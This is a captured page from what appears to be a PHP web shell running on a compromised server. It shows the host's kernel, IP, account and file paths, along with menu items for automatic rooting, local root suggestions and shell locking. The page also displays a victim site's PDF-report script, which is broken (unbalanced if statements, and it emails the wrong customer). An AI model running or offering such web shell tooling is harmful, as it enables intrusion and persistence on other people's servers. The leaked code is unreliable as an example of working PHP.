Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
maintenance /
pdf /
Delete
Unzip
Name
Size
Permission
Date
Action
font
[ DIR ]
drwxr-xr-x
2016-03-28 13:10
makefont
[ DIR ]
drwxr-xr-x
2016-03-28 13:10
createPDF.php
1.61
KB
-rw-r--r--
2016-03-31 12:38
error_log
154.73
KB
-rw-r--r--
2024-05-30 22:09
fpdf.css
1.31
KB
-rw-r--r--
2016-03-28 13:10
fpdf.php
48.88
KB
-rw-r--r--
2016-03-28 12:54
html2pdf.php
14.84
KB
-rw-r--r--
2019-10-15 12:31
Save
Rename
<?php /***************************/ /* Radek HULAN */ /* http://hulan.info/blog/ */ /***************************/ require('html2pdf.php'); require('../config.php'); require('../phpMailer/class.phpmailer.php'); if(isset($_POST['customer_id']) && isset($_POST['maintenance-form'])) { $sql = "SELECT * from customer"; $result = mysqli_query($conn, $sql); while($row = mysqli_fetch_assoc($result)) { $email = $row['email']; } $pdf=new PDF('P','mm','A4', $_POST['customer_id'], $_POST['maintenance-form'], $conn); $pdf->SetDisplayMode('real'); $pdf->AddPage(); //body $pdf->WriteBody(); $mail = new PHPMailer(); $doc = $pdf->Output('S'); $mail->AddStringAttachment($doc, 'Maintenance Report # '.$_POST['maintenance-form'].'.pdf', 'base64', 'application/pdf'); $mail->setFrom('support@homegym.sg', 'HOMEGYM.SG'); $mail->addAddress($email); // Add a recipient $mail->addReplyTo('support@homegym.sg', 'HOMEGYM.SG'); $mail->isHTML(true); // Set email format to HTML $mail->Subject = 'Maintenance Report # '.$_POST['maintenance-form']; $mail->Body = 'Please see attachment for maintenance report.'; $mail->AltBody = 'This is an email in plain text for non-HTML mail clients. Please see attachment for maintenance report.'; if (isset($_POST['email']) $mail->Send(); // output if (isset($_POST['view']) $outputMode = 'I'; if (isset($_POST['download']) $outputMode = 'D'; $pdf->Output($outputMode, 'Maintenance Report # '.$_POST['maintenance-form']); } ?> <?php mysqli_close($conn);?>